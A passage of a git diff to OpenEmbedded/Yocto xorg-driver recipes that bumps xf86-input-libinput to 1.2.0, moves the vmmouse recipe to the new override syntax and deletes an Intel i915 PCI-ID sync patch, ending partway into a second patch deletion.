diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb
deleted file mode 100644
index d02988caa4..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.30.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "Generic input driver for the X.Org server based on libinput"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5e6b20ea2ef94a998145f0ea3f788ee0"
-
-DEPENDS += "libinput"
-
-SRC_URI[md5sum] = "11dcfa2cc39f790731a9545fcdeea717"
-SRC_URI[sha256sum] = "f9c7f9fd41ae14061e0e9c3bd45fa170e5e21027a2bc5810034e1e748db996c0"
-
-FILES_${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.0.bb
new file mode 100644
index 0000000000..b0168df8d1
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.0.bb
@@ -0,0 +1,11 @@
+require xorg-driver-input.inc
+
+SUMMARY = "Generic input driver for the X.Org server based on libinput"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a22925127bd3c827c384cedd23ed2309"
+
+DEPENDS += "libinput"
+
+SRC_URI[sha256sum] = "f80da3c514fe1cbf57fa1b1bd6ff97f6b0a1f87466ad89247bac59cd0a5869f6"
+
+FILES:${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
index 92a1b25ebe..5e740037d9 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
@@ -9,13 +9,13 @@ standard 'mouse' driver if a VMware virtual machine is not detected."
SRC_URI[md5sum] = "85e2e464b7219c495ad3a16465c226ed"
SRC_URI[sha256sum] = "0af558957ac1be1b2863712c2475de8f4d7f14921fd01ded2e2fde4921b19319"
-RDEPENDS_${PN} += "xf86-input-mouse"
+RDEPENDS:${PN} += "xf86-input-mouse"
LIC_FILES_CHKSUM = "file://COPYING;md5=622841c068a9d7625fbfe7acffb1a8fc"
COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-do_install_append () {
+do_install:append () {
# We don't care about hal
rm -rf ${D}${datadir}/hal/
rm -rf ${D}${libdir}/hal/
@@ -23,4 +23,4 @@ do_install_append () {
EXTRA_OECONF = "--with-udev-rules-dir=${nonarch_base_libdir}/udev/rules.d"
-FILES_${PN} += "${datadir}/X11/xorg.conf.d"
+FILES:${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch b/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch
deleted file mode 100644
index ef3b1afb1f..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-Sync-i915_pciids-upto-8717c6b7414f.patch
+++ /dev/null
@@ -1,505 +0,0 @@
-From 05909fea93f29b2b6e1d554dd64201551bd7a022 Mon Sep 17 00:00:00 2001
-From: Liwei Song <liwei.song@windriver.com>
-Date: Fri, 17 Apr 2020 16:11:59 +0800
-Subject: [PATCH] Sync i915_pciids upto 8717c6b7414f
-
-Import the kernel's i915_pciids.h, up to:
-
-commit 8717c6b7414ffb890672276dccc284c23078ac0e
-Author: Lee Shawn C <shawn.c.lee@intel.com>
-Date: Tue Dec 10 23:04:15 2019 +0800
-
- drm/i915/cml: Separate U series pci id from origianl list.
-
-Upstream-Status: Submitted [https://patchwork.kernel.org/patch/11494645/]
-
-Signed-off-by: Liwei Song <liwei.song@windriver.com>
----
- src/i915_pciids.h | 265 ++++++++++++++++++++++++++++++++++-----------
- src/intel_module.c | 2 +-
- test/dri3-test.c | 2 +-
- 3 files changed, 206 insertions(+), 63 deletions(-)
-
-diff --git a/src/i915_pciids.h b/src/i915_pciids.h
-index fd965ffbb92e..1d2c12219f44 100644
---- a/src/i915_pciids.h
-+++ b/src/i915_pciids.h
-@@ -108,8 +108,10 @@
- INTEL_VGA_DEVICE(0x2e42, info), /* B43_G */ \
- INTEL_VGA_DEVICE(0x2e92, info) /* B43_G.1 */
-
--#define INTEL_PINEVIEW_IDS(info) \
-- INTEL_VGA_DEVICE(0xa001, info), \
-+#define INTEL_PINEVIEW_G_IDS(info) \
-+ INTEL_VGA_DEVICE(0xa001, info)
-+
-+#define INTEL_PINEVIEW_M_IDS(info) \
- INTEL_VGA_DEVICE(0xa011, info)
-
- #define INTEL_IRONLAKE_D_IDS(info) \
-@@ -166,7 +168,18 @@
- #define INTEL_IVB_Q_IDS(info) \
- INTEL_QUANTA_VGA_DEVICE(info) /* Quanta transcode */
-
-+#define INTEL_HSW_ULT_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A02, info), /* ULT GT1 desktop */ \
-+ INTEL_VGA_DEVICE(0x0A0A, info), /* ULT GT1 server */ \
-+ INTEL_VGA_DEVICE(0x0A0B, info), /* ULT GT1 reserved */ \
-+ INTEL_VGA_DEVICE(0x0A06, info) /* ULT GT1 mobile */
-+
-+#define INTEL_HSW_ULX_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A0E, info) /* ULX GT1 mobile */
-+
- #define INTEL_HSW_GT1_IDS(info) \
-+ INTEL_HSW_ULT_GT1_IDS(info), \
-+ INTEL_HSW_ULX_GT1_IDS(info), \
- INTEL_VGA_DEVICE(0x0402, info), /* GT1 desktop */ \
- INTEL_VGA_DEVICE(0x040a, info), /* GT1 server */ \
- INTEL_VGA_DEVICE(0x040B, info), /* GT1 reserved */ \
-@@ -175,20 +188,26 @@
- INTEL_VGA_DEVICE(0x0C0A, info), /* SDV GT1 server */ \
- INTEL_VGA_DEVICE(0x0C0B, info), /* SDV GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0C0E, info), /* SDV GT1 reserved */ \
-- INTEL_VGA_DEVICE(0x0A02, info), /* ULT GT1 desktop */ \
-- INTEL_VGA_DEVICE(0x0A0A, info), /* ULT GT1 server */ \
-- INTEL_VGA_DEVICE(0x0A0B, info), /* ULT GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0D02, info), /* CRW GT1 desktop */ \
- INTEL_VGA_DEVICE(0x0D0A, info), /* CRW GT1 server */ \
- INTEL_VGA_DEVICE(0x0D0B, info), /* CRW GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0D0E, info), /* CRW GT1 reserved */ \
- INTEL_VGA_DEVICE(0x0406, info), /* GT1 mobile */ \
- INTEL_VGA_DEVICE(0x0C06, info), /* SDV GT1 mobile */ \
-- INTEL_VGA_DEVICE(0x0A06, info), /* ULT GT1 mobile */ \
-- INTEL_VGA_DEVICE(0x0A0E, info), /* ULX GT1 mobile */ \
- INTEL_VGA_DEVICE(0x0D06, info) /* CRW GT1 mobile */
-
-+#define INTEL_HSW_ULT_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A12, info), /* ULT GT2 desktop */ \
-+ INTEL_VGA_DEVICE(0x0A1A, info), /* ULT GT2 server */ \
-+ INTEL_VGA_DEVICE(0x0A1B, info), /* ULT GT2 reserved */ \
-+ INTEL_VGA_DEVICE(0x0A16, info) /* ULT GT2 mobile */
-+
-+#define INTEL_HSW_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A1E, info) /* ULX GT2 mobile */ \
-+
- #define INTEL_HSW_GT2_IDS(info) \
-+ INTEL_HSW_ULT_GT2_IDS(info), \
-+ INTEL_HSW_ULX_GT2_IDS(info), \
- INTEL_VGA_DEVICE(0x0412, info), /* GT2 desktop */ \
- INTEL_VGA_DEVICE(0x041a, info), /* GT2 server */ \
- INTEL_VGA_DEVICE(0x041B, info), /* GT2 reserved */ \
-@@ -197,9 +216,6 @@
- INTEL_VGA_DEVICE(0x0C1A, info), /* SDV GT2 server */ \
- INTEL_VGA_DEVICE(0x0C1B, info), /* SDV GT2 reserved */ \
- INTEL_VGA_DEVICE(0x0C1E, info), /* SDV GT2 reserved */ \
-- INTEL_VGA_DEVICE(0x0A12, info), /* ULT GT2 desktop */ \
-- INTEL_VGA_DEVICE(0x0A1A, info), /* ULT GT2 server */ \
-- INTEL_VGA_DEVICE(0x0A1B, info), /* ULT GT2 reserved */ \
- INTEL_VGA_DEVICE(0x0D12, info), /* CRW GT2 desktop */ \
- INTEL_VGA_DEVICE(0x0D1A, info), /* CRW GT2 server */ \
- INTEL_VGA_DEVICE(0x0D1B, info), /* CRW GT2 reserved */ \
-@@ -207,11 +223,17 @@
- INTEL_VGA_DEVICE(0x0416, info), /* GT2 mobile */ \
- INTEL_VGA_DEVICE(0x0426, info), /* GT2 mobile */ \
- INTEL_VGA_DEVICE(0x0C16, info), /* SDV GT2 mobile */ \
-- INTEL_VGA_DEVICE(0x0A16, info), /* ULT GT2 mobile */ \
-- INTEL_VGA_DEVICE(0x0A1E, info), /* ULX GT2 mobile */ \
- INTEL_VGA_DEVICE(0x0D16, info) /* CRW GT2 mobile */
-
-+#define INTEL_HSW_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x0A22, info), /* ULT GT3 desktop */ \
-+ INTEL_VGA_DEVICE(0x0A2A, info), /* ULT GT3 server */ \
-+ INTEL_VGA_DEVICE(0x0A2B, info), /* ULT GT3 reserved */ \
-+ INTEL_VGA_DEVICE(0x0A26, info), /* ULT GT3 mobile */ \
-+ INTEL_VGA_DEVICE(0x0A2E, info) /* ULT GT3 reserved */
-+
- #define INTEL_HSW_GT3_IDS(info) \
-+ INTEL_HSW_ULT_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x0422, info), /* GT3 desktop */ \
- INTEL_VGA_DEVICE(0x042a, info), /* GT3 server */ \
- INTEL_VGA_DEVICE(0x042B, info), /* GT3 reserved */ \
-@@ -220,16 +242,11 @@
- INTEL_VGA_DEVICE(0x0C2A, info), /* SDV GT3 server */ \
- INTEL_VGA_DEVICE(0x0C2B, info), /* SDV GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0C2E, info), /* SDV GT3 reserved */ \
-- INTEL_VGA_DEVICE(0x0A22, info), /* ULT GT3 desktop */ \
-- INTEL_VGA_DEVICE(0x0A2A, info), /* ULT GT3 server */ \
-- INTEL_VGA_DEVICE(0x0A2B, info), /* ULT GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0D22, info), /* CRW GT3 desktop */ \
- INTEL_VGA_DEVICE(0x0D2A, info), /* CRW GT3 server */ \
- INTEL_VGA_DEVICE(0x0D2B, info), /* CRW GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0D2E, info), /* CRW GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0C26, info), /* SDV GT3 mobile */ \
-- INTEL_VGA_DEVICE(0x0A26, info), /* ULT GT3 mobile */ \
-- INTEL_VGA_DEVICE(0x0A2E, info), /* ULT GT3 reserved */ \
- INTEL_VGA_DEVICE(0x0D26, info) /* CRW GT3 mobile */
-
- #define INTEL_HSW_IDS(info) \
-@@ -245,35 +262,59 @@
- INTEL_VGA_DEVICE(0x0157, info), \
- INTEL_VGA_DEVICE(0x0155, info)
-
--#define INTEL_BDW_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x1602, info), /* GT1 ULT */ \
-+#define INTEL_BDW_ULT_GT1_IDS(info) \
- INTEL_VGA_DEVICE(0x1606, info), /* GT1 ULT */ \
-- INTEL_VGA_DEVICE(0x160B, info), /* GT1 Iris */ \
-- INTEL_VGA_DEVICE(0x160E, info), /* GT1 ULX */ \
-+ INTEL_VGA_DEVICE(0x160B, info) /* GT1 Iris */
-+
-+#define INTEL_BDW_ULX_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x160E, info) /* GT1 ULX */
-+
-+#define INTEL_BDW_GT1_IDS(info) \
-+ INTEL_BDW_ULT_GT1_IDS(info), \
-+ INTEL_BDW_ULX_GT1_IDS(info), \
-+ INTEL_VGA_DEVICE(0x1602, info), /* GT1 ULT */ \
- INTEL_VGA_DEVICE(0x160A, info), /* GT1 Server */ \
- INTEL_VGA_DEVICE(0x160D, info) /* GT1 Workstation */
-
--#define INTEL_BDW_GT2_IDS(info) \
-- INTEL_VGA_DEVICE(0x1612, info), /* GT2 Halo */ \
-+#define INTEL_BDW_ULT_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x1616, info), /* GT2 ULT */ \
-- INTEL_VGA_DEVICE(0x161B, info), /* GT2 ULT */ \
-- INTEL_VGA_DEVICE(0x161E, info), /* GT2 ULX */ \
-+ INTEL_VGA_DEVICE(0x161B, info) /* GT2 ULT */
-+
-+#define INTEL_BDW_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x161E, info) /* GT2 ULX */
-+
-+#define INTEL_BDW_GT2_IDS(info) \
-+ INTEL_BDW_ULT_GT2_IDS(info), \
-+ INTEL_BDW_ULX_GT2_IDS(info), \
-+ INTEL_VGA_DEVICE(0x1612, info), /* GT2 Halo */ \
- INTEL_VGA_DEVICE(0x161A, info), /* GT2 Server */ \
- INTEL_VGA_DEVICE(0x161D, info) /* GT2 Workstation */
-
-+#define INTEL_BDW_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1626, info), /* ULT */ \
-+ INTEL_VGA_DEVICE(0x162B, info) /* Iris */ \
-+
-+#define INTEL_BDW_ULX_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x162E, info) /* ULX */
-+
- #define INTEL_BDW_GT3_IDS(info) \
-+ INTEL_BDW_ULT_GT3_IDS(info), \
-+ INTEL_BDW_ULX_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x1622, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x1626, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x162B, info), /* Iris */ \
-- INTEL_VGA_DEVICE(0x162E, info), /* ULX */\
- INTEL_VGA_DEVICE(0x162A, info), /* Server */ \
- INTEL_VGA_DEVICE(0x162D, info) /* Workstation */
-
-+#define INTEL_BDW_ULT_RSVD_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1636, info), /* ULT */ \
-+ INTEL_VGA_DEVICE(0x163B, info) /* Iris */
-+
-+#define INTEL_BDW_ULX_RSVD_IDS(info) \
-+ INTEL_VGA_DEVICE(0x163E, info) /* ULX */
-+
- #define INTEL_BDW_RSVD_IDS(info) \
-+ INTEL_BDW_ULT_RSVD_IDS(info), \
-+ INTEL_BDW_ULX_RSVD_IDS(info), \
- INTEL_VGA_DEVICE(0x1632, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x1636, info), /* ULT */ \
-- INTEL_VGA_DEVICE(0x163B, info), /* Iris */ \
-- INTEL_VGA_DEVICE(0x163E, info), /* ULX */ \
- INTEL_VGA_DEVICE(0x163A, info), /* Server */ \
- INTEL_VGA_DEVICE(0x163D, info) /* Workstation */
-
-@@ -289,25 +330,40 @@
- INTEL_VGA_DEVICE(0x22b2, info), \
- INTEL_VGA_DEVICE(0x22b3, info)
-
-+#define INTEL_SKL_ULT_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1906, info) /* ULT GT1 */
-+
-+#define INTEL_SKL_ULX_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x190E, info) /* ULX GT1 */
-+
- #define INTEL_SKL_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x1906, info), /* ULT GT1 */ \
-- INTEL_VGA_DEVICE(0x190E, info), /* ULX GT1 */ \
-+ INTEL_SKL_ULT_GT1_IDS(info), \
-+ INTEL_SKL_ULX_GT1_IDS(info), \
- INTEL_VGA_DEVICE(0x1902, info), /* DT GT1 */ \
- INTEL_VGA_DEVICE(0x190B, info), /* Halo GT1 */ \
- INTEL_VGA_DEVICE(0x190A, info) /* SRV GT1 */
-
--#define INTEL_SKL_GT2_IDS(info) \
-+#define INTEL_SKL_ULT_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x1916, info), /* ULT GT2 */ \
-- INTEL_VGA_DEVICE(0x1921, info), /* ULT GT2F */ \
-- INTEL_VGA_DEVICE(0x191E, info), /* ULX GT2 */ \
-+ INTEL_VGA_DEVICE(0x1921, info) /* ULT GT2F */
-+
-+#define INTEL_SKL_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x191E, info) /* ULX GT2 */
-+
-+#define INTEL_SKL_GT2_IDS(info) \
-+ INTEL_SKL_ULT_GT2_IDS(info), \
-+ INTEL_SKL_ULX_GT2_IDS(info), \
- INTEL_VGA_DEVICE(0x1912, info), /* DT GT2 */ \
- INTEL_VGA_DEVICE(0x191B, info), /* Halo GT2 */ \
- INTEL_VGA_DEVICE(0x191A, info), /* SRV GT2 */ \
- INTEL_VGA_DEVICE(0x191D, info) /* WKS GT2 */
-
-+#define INTEL_SKL_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x1926, info) /* ULT GT3 */
-+
- #define INTEL_SKL_GT3_IDS(info) \
-+ INTEL_SKL_ULT_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x1923, info), /* ULT GT3 */ \
-- INTEL_VGA_DEVICE(0x1926, info), /* ULT GT3 */ \
- INTEL_VGA_DEVICE(0x1927, info), /* ULT GT3 */ \
- INTEL_VGA_DEVICE(0x192B, info), /* Halo GT3 */ \
- INTEL_VGA_DEVICE(0x192D, info) /* SRV GT3 */
-@@ -336,45 +392,91 @@
- INTEL_VGA_DEVICE(0x3184, info), \
- INTEL_VGA_DEVICE(0x3185, info)
-
--#define INTEL_KBL_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x5913, info), /* ULT GT1.5 */ \
-- INTEL_VGA_DEVICE(0x5915, info), /* ULX GT1.5 */ \
-+#define INTEL_KBL_ULT_GT1_IDS(info) \
- INTEL_VGA_DEVICE(0x5906, info), /* ULT GT1 */ \
-+ INTEL_VGA_DEVICE(0x5913, info) /* ULT GT1.5 */
-+
-+#define INTEL_KBL_ULX_GT1_IDS(info) \
- INTEL_VGA_DEVICE(0x590E, info), /* ULX GT1 */ \
-+ INTEL_VGA_DEVICE(0x5915, info) /* ULX GT1.5 */
-+
-+#define INTEL_KBL_GT1_IDS(info) \
-+ INTEL_KBL_ULT_GT1_IDS(info), \
-+ INTEL_KBL_ULX_GT1_IDS(info), \
- INTEL_VGA_DEVICE(0x5902, info), /* DT GT1 */ \
- INTEL_VGA_DEVICE(0x5908, info), /* Halo GT1 */ \
- INTEL_VGA_DEVICE(0x590B, info), /* Halo GT1 */ \
- INTEL_VGA_DEVICE(0x590A, info) /* SRV GT1 */
-
--#define INTEL_KBL_GT2_IDS(info) \
-+#define INTEL_KBL_ULT_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x5916, info), /* ULT GT2 */ \
-+ INTEL_VGA_DEVICE(0x5921, info) /* ULT GT2F */
-+
-+#define INTEL_KBL_ULX_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x591E, info) /* ULX GT2 */
-+
-+#define INTEL_KBL_GT2_IDS(info) \
-+ INTEL_KBL_ULT_GT2_IDS(info), \
-+ INTEL_KBL_ULX_GT2_IDS(info), \
- INTEL_VGA_DEVICE(0x5917, info), /* Mobile GT2 */ \
-- INTEL_VGA_DEVICE(0x5921, info), /* ULT GT2F */ \
-- INTEL_VGA_DEVICE(0x591E, info), /* ULX GT2 */ \
- INTEL_VGA_DEVICE(0x5912, info), /* DT GT2 */ \
- INTEL_VGA_DEVICE(0x591B, info), /* Halo GT2 */ \
- INTEL_VGA_DEVICE(0x591A, info), /* SRV GT2 */ \
- INTEL_VGA_DEVICE(0x591D, info) /* WKS GT2 */
-
-+#define INTEL_KBL_ULT_GT3_IDS(info) \
-+ INTEL_VGA_DEVICE(0x5926, info) /* ULT GT3 */
-+
- #define INTEL_KBL_GT3_IDS(info) \
-+ INTEL_KBL_ULT_GT3_IDS(info), \
- INTEL_VGA_DEVICE(0x5923, info), /* ULT GT3 */ \
-- INTEL_VGA_DEVICE(0x5926, info), /* ULT GT3 */ \
- INTEL_VGA_DEVICE(0x5927, info) /* ULT GT3 */
-
- #define INTEL_KBL_GT4_IDS(info) \
- INTEL_VGA_DEVICE(0x593B, info) /* Halo GT4 */
-
- /* AML/KBL Y GT2 */
--#define INTEL_AML_GT2_IDS(info) \
-+#define INTEL_AML_KBL_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x591C, info), /* ULX GT2 */ \
- INTEL_VGA_DEVICE(0x87C0, info) /* ULX GT2 */
-
-+/* AML/CFL Y GT2 */
-+#define INTEL_AML_CFL_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x87CA, info)
-+
-+/* CML GT1 */
-+#define INTEL_CML_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9BA5, info), \
-+ INTEL_VGA_DEVICE(0x9BA8, info), \
-+ INTEL_VGA_DEVICE(0x9BA4, info), \
-+ INTEL_VGA_DEVICE(0x9BA2, info)
-+
-+#define INTEL_CML_U_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9B21, info), \
-+ INTEL_VGA_DEVICE(0x9BAA, info), \
-+ INTEL_VGA_DEVICE(0x9BAC, info)
-+
-+/* CML GT2 */
-+#define INTEL_CML_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9BC5, info), \
-+ INTEL_VGA_DEVICE(0x9BC8, info), \
-+ INTEL_VGA_DEVICE(0x9BC4, info), \
-+ INTEL_VGA_DEVICE(0x9BC2, info), \
-+ INTEL_VGA_DEVICE(0x9BC6, info), \
-+ INTEL_VGA_DEVICE(0x9BE6, info), \
-+ INTEL_VGA_DEVICE(0x9BF6, info)
-+
-+#define INTEL_CML_U_GT2_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9B41, info), \
-+ INTEL_VGA_DEVICE(0x9BCA, info), \
-+ INTEL_VGA_DEVICE(0x9BCC, info)
-+
- #define INTEL_KBL_IDS(info) \
- INTEL_KBL_GT1_IDS(info), \
- INTEL_KBL_GT2_IDS(info), \
- INTEL_KBL_GT3_IDS(info), \
- INTEL_KBL_GT4_IDS(info), \
-- INTEL_AML_GT2_IDS(info)
-+ INTEL_AML_KBL_GT2_IDS(info)
-
- /* CFL S */
- #define INTEL_CFL_S_GT1_IDS(info) \
-@@ -390,6 +492,9 @@
- INTEL_VGA_DEVICE(0x3E9A, info) /* SRV GT2 */
-
- /* CFL H */
-+#define INTEL_CFL_H_GT1_IDS(info) \
-+ INTEL_VGA_DEVICE(0x3E9C, info)
-+
- #define INTEL_CFL_H_GT2_IDS(info) \
- INTEL_VGA_DEVICE(0x3E9B, info), /* Halo GT2 */ \
- INTEL_VGA_DEVICE(0x3E94, info) /* Halo GT2 */
-@@ -407,30 +512,43 @@
-
- /* WHL/CFL U GT1 */
- #define INTEL_WHL_U_GT1_IDS(info) \
-- INTEL_VGA_DEVICE(0x3EA1, info)
-+ INTEL_VGA_DEVICE(0x3EA1, info), \
-+ INTEL_VGA_DEVICE(0x3EA4, info)
-
- /* WHL/CFL U GT2 */
- #define INTEL_WHL_U_GT2_IDS(info) \
-- INTEL_VGA_DEVICE(0x3EA0, info)
-+ INTEL_VGA_DEVICE(0x3EA0, info), \
-+ INTEL_VGA_DEVICE(0x3EA3, info)
-
- /* WHL/CFL U GT3 */
- #define INTEL_WHL_U_GT3_IDS(info) \
-- INTEL_VGA_DEVICE(0x3EA2, info), \
-- INTEL_VGA_DEVICE(0x3EA3, info), \
-- INTEL_VGA_DEVICE(0x3EA4, info)
-+ INTEL_VGA_DEVICE(0x3EA2, info)
-
- #define INTEL_CFL_IDS(info) \
- INTEL_CFL_S_GT1_IDS(info), \
- INTEL_CFL_S_GT2_IDS(info), \
-+ INTEL_CFL_H_GT1_IDS(info), \
- INTEL_CFL_H_GT2_IDS(info), \
- INTEL_CFL_U_GT2_IDS(info), \
- INTEL_CFL_U_GT3_IDS(info), \
- INTEL_WHL_U_GT1_IDS(info), \
- INTEL_WHL_U_GT2_IDS(info), \
-- INTEL_WHL_U_GT3_IDS(info)
-+ INTEL_WHL_U_GT3_IDS(info), \
-+ INTEL_AML_CFL_GT2_IDS(info), \
-+ INTEL_CML_GT1_IDS(info), \
-+ INTEL_CML_GT2_IDS(info), \
-+ INTEL_CML_U_GT1_IDS(info), \
-+ INTEL_CML_U_GT2_IDS(info)
-
- /* CNL */
-+#define INTEL_CNL_PORT_F_IDS(info) \
-+ INTEL_VGA_DEVICE(0x5A54, info), \
-+ INTEL_VGA_DEVICE(0x5A5C, info), \
-+ INTEL_VGA_DEVICE(0x5A44, info), \
-+ INTEL_VGA_DEVICE(0x5A4C, info)
-+
- #define INTEL_CNL_IDS(info) \
-+ INTEL_CNL_PORT_F_IDS(info), \
- INTEL_VGA_DEVICE(0x5A51, info), \
- INTEL_VGA_DEVICE(0x5A59, info), \
- INTEL_VGA_DEVICE(0x5A41, info), \
-@@ -440,22 +558,47 @@
- INTEL_VGA_DEVICE(0x5A42, info), \
- INTEL_VGA_DEVICE(0x5A4A, info), \
- INTEL_VGA_DEVICE(0x5A50, info), \
-- INTEL_VGA_DEVICE(0x5A40, info), \
-- INTEL_VGA_DEVICE(0x5A54, info), \
-- INTEL_VGA_DEVICE(0x5A5C, info), \
-- INTEL_VGA_DEVICE(0x5A44, info), \
-- INTEL_VGA_DEVICE(0x5A4C, info)
-+ INTEL_VGA_DEVICE(0x5A40, info)
-
- /* ICL */
--#define INTEL_ICL_11_IDS(info) \
-+#define INTEL_ICL_PORT_F_IDS(info) \
- INTEL_VGA_DEVICE(0x8A50, info), \
-- INTEL_VGA_DEVICE(0x8A51, info), \
- INTEL_VGA_DEVICE(0x8A5C, info), \
-- INTEL_VGA_DEVICE(0x8A5D, info), \
-+ INTEL_VGA_DEVICE(0x8A59, info), \
-+ INTEL_VGA_DEVICE(0x8A58, info), \
- INTEL_VGA_DEVICE(0x8A52, info), \
- INTEL_VGA_DEVICE(0x8A5A, info), \
- INTEL_VGA_DEVICE(0x8A5B, info), \
-+ INTEL_VGA_DEVICE(0x8A57, info), \
-+ INTEL_VGA_DEVICE(0x8A56, info), \
- INTEL_VGA_DEVICE(0x8A71, info), \
-- INTEL_VGA_DEVICE(0x8A70, info)
-+ INTEL_VGA_DEVICE(0x8A70, info), \
-+ INTEL_VGA_DEVICE(0x8A53, info), \
-+ INTEL_VGA_DEVICE(0x8A54, info)
-+
-+#define INTEL_ICL_11_IDS(info) \
-+ INTEL_ICL_PORT_F_IDS(info), \
-+ INTEL_VGA_DEVICE(0x8A51, info), \
-+ INTEL_VGA_DEVICE(0x8A5D, info)
-+
-+/* EHL/JSL */
-+#define INTEL_EHL_IDS(info) \
-+ INTEL_VGA_DEVICE(0x4500, info), \
-+ INTEL_VGA_DEVICE(0x4571, info), \
-+ INTEL_VGA_DEVICE(0x4551, info), \
-+ INTEL_VGA_DEVICE(0x4541, info), \
-+ INTEL_VGA_DEVICE(0x4E71, info), \
-+ INTEL_VGA_DEVICE(0x4E61, info), \
-+ INTEL_VGA_DEVICE(0x4E51, info)
-+
-+/* TGL */
-+#define INTEL_TGL_12_IDS(info) \
-+ INTEL_VGA_DEVICE(0x9A49, info), \
-+ INTEL_VGA_DEVICE(0x9A40, info), \
-+ INTEL_VGA_DEVICE(0x9A59, info), \
-+ INTEL_VGA_DEVICE(0x9A60, info), \
-+ INTEL_VGA_DEVICE(0x9A68, info), \
-+ INTEL_VGA_DEVICE(0x9A70, info), \
-+ INTEL_VGA_DEVICE(0x9A78, info)
-
- #endif /* _I915_PCIIDS_H */
-diff --git a/src/intel_module.c b/src/intel_module.c
-index a71c2e40b774..e0b94c190254 100644
---- a/src/intel_module.c
-+++ b/src/intel_module.c
-@@ -357,7 +357,7 @@ static const struct pci_id_match intel_device_match[] = {
- INTEL_I945GM_IDS(&intel_i945_info),
-
- INTEL_G33_IDS(&intel_g33_info),
-- INTEL_PINEVIEW_IDS(&intel_g33_info),
-+ INTEL_PINEVIEW_G_IDS(&intel_g33_info),
-
- INTEL_I965G_IDS(&intel_i965_info),
- INTEL_I965GM_IDS(&intel_i965_info),
-diff --git a/test/dri3-test.c b/test/dri3-test.c
-index 78e105a8b64a..5265a30cea1b 100644
---- a/test/dri3-test.c
-+++ b/test/dri3-test.c
-@@ -76,7 +76,7 @@ static const struct pci_id_match ids[] = {
- INTEL_I945GM_IDS(031),
-
- INTEL_G33_IDS(033),
-- INTEL_PINEVIEW_IDS(033),
-+ INTEL_PINEVIEW_G_IDS(033),
-
- INTEL_I965G_IDS(040),
- INTEL_I965GM_IDS(040),
---
-2.17.1
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch b/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch
deleted file mode 100644
index 765d9ec090..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel/0001-i810-Avoid-duplicate-definition-of-I810PatternROP.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From c2d730cf79eb3e4bea41f5ed8a8a21092ced8b03 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Hanno=20B=C3=B6ck?= <hanno@gentoo.org>
-Date: Sun, 2 Feb 2020 14:18:39 +0100
-Subject: [PATCH] i810: Avoid duplicate definition of I810PatternROP
-
